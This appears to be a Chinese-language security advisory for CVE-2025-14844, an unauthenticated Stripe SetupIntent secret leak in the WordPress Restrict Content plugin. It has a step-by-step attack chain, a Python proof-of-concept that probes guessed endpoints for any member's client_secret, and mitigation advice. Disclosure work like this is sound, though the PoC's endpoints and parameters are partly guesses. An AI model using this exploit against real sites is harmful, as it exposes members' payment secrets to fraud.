IPBUF安全漏洞报告
English
CVE-2025-14844 CVSS 8.2 高危

CVE-2025-14844 WordPress Restrict Content插件未授权信息泄露漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-14844
漏洞类型
未授权信息泄露
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Membership Plugin – Restrict Content (WordPress)

相关标签

CVE-2025-14844WordPress插件漏洞未授权访问信息泄露Stripe集成缺少认证Restrict ContentMembership插件高危漏洞

漏洞概述

WordPress的Restrict Content插件(Membership Plugin – Restrict Content)在3.2.16及之前的所有版本中存在严重的安全漏洞。该漏洞位于Stripe支付集成的`rcp_stripe_create_setup_intent_for_saved_card`函数中,由于缺少适当的认证检查和能力验证,攻击者可以在无需任何身份验证的情况下调用该函数。更为严重的是,该函数不验证用户控制的密钥参数,导致未认证的远程攻击者能够构造恶意请求,获取任意会员的Stripe SetupIntent client_secret值。这些敏感信息一旦泄露,攻击者可以利用它们进行欺诈性支付操作或其他恶意活动。该漏洞无需用户交互即可被利用,且可通过网络远程触发,对使用该插件的所有WordPress站点构成严重威胁。

技术细节

该漏洞的核心问题在于`rcp_stripe_create_setup_intent_for_saved_card`函数缺少WordPress capability检查。在正常的WordPress安全实践中,涉及用户数据和敏感操作的函数应当使用`current_user_can()`等函数验证当前用户权限。然而,该函数直接处理Stripe SetupIntent的创建请求,且不验证请求中传递的密钥是否属于合法用户。攻击者只需构造一个HTTP请求,指定目标用户ID和相应的Stripe密钥参数,即可触发SetupIntent的创建并获取client_secret返回值。由于Stripe SetupIntent的client_secret可用于完成支付设置流程,攻击者获取后可能进行未经授权的支付操作或会员订阅欺诈。漏洞代码位于plugins.trac.wordpress.org的functions.php第848行和第987行附近,修复版本3.2.17已添加必要的认证检查和密钥验证逻辑。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和Restrict Content插件版本(需<=3.2.16),确认Stripe支付集成已启用
STEP 2
步骤2: 构造恶意请求
攻击者构造HTTP请求到插件的Stripe集成端点(如wp-admin/admin-ajax.php),在请求中指定目标会员ID和Stripe相关参数,无需任何认证凭证
STEP 3
步骤3: 绕过认证检查
由于rcp_stripe_create_setup_intent_for_saved_card函数缺少current_user_can()等能力检查,恶意请求直接被执行,绕过了WordPress的认证机制
STEP 4
步骤4: 获取敏感信息
漏洞函数不验证用户控制的密钥,攻击者成功获取目标会员的Stripe SetupIntent client_secret值,该值通常以seti_开头
STEP 5
步骤5: 恶意利用
攻击者利用泄露的client_secret进行欺诈性支付操作、会员订阅劫持或其他Stripe相关的恶意活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14844 PoC - Unauthenticated Stripe SetupIntent Secret Leak # Target: WordPress site with Restrict Content plugin <= 3.2.16 def exploit_cve_2025_14844(target_url, member_id): """ Exploit for Missing Authentication in rcp_stripe_create_setup_intent_for_saved_card This PoC demonstrates how an unauthenticated attacker can leak Stripe SetupIntent client_secret """ # The vulnerable endpoint is typically the WordPress REST API or admin-ajax.php endpoints = [ f"{target_url}/wp-json/restrict-content/v1/stripe/setup-intent", f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-admin/admin-post.php" ] # Construct the exploit payload # The vulnerable function expects member_id and potentially user-controlled key payload = { 'action': 'rcp_stripe_create_setup_intent_for_saved_card', 'member_id': member_id, # Target any membership user ID # Additional parameters may be needed based on plugin version } print(f"[*] Targeting: {target_url}") print(f"[*] Targeting member ID: {member_id}") for endpoint in endpoints: try: print(f"\n[*] Trying endpoint: {endpoint}") if 'admin-ajax.php' in endpoint: response = requests.post(endpoint, data=payload, timeout=10) else: response = requests.post(endpoint, json=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # Check if we got a SetupIntent client_secret in response if 'client_secret' in response.text.lower() or 'seti_' in response.text: print("[+] VULNERABLE! Stripe SetupIntent client_secret may have been leaked") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False # Example usage if __name__ == "__main__": import sys if len(sys.argv) > 2: target = sys.argv[1] member = sys.argv[2] exploit_cve_2025_14844(target, member) else: print("Usage: python cve-2025-14844.py <target_url> <member_id>") print("Example: python cve-2025-14844.py https://example.com 1")

影响范围

Restrict Content Plugin < 3.2.17
Restrict Content Plugin 3.2.16及所有更早版本

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用Stripe支付网关功能;2) 使用Web应用防火墙(WAF)规则阻止可疑的admin-ajax.php请求;3) 限制wp-admin目录访问,仅允许授权IP访问;4) 监控服务器日志,查找包含'rcp_stripe_create_setup_intent'参数的异常POST请求;5) 联系Wordfence等安全服务商获取实时防护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表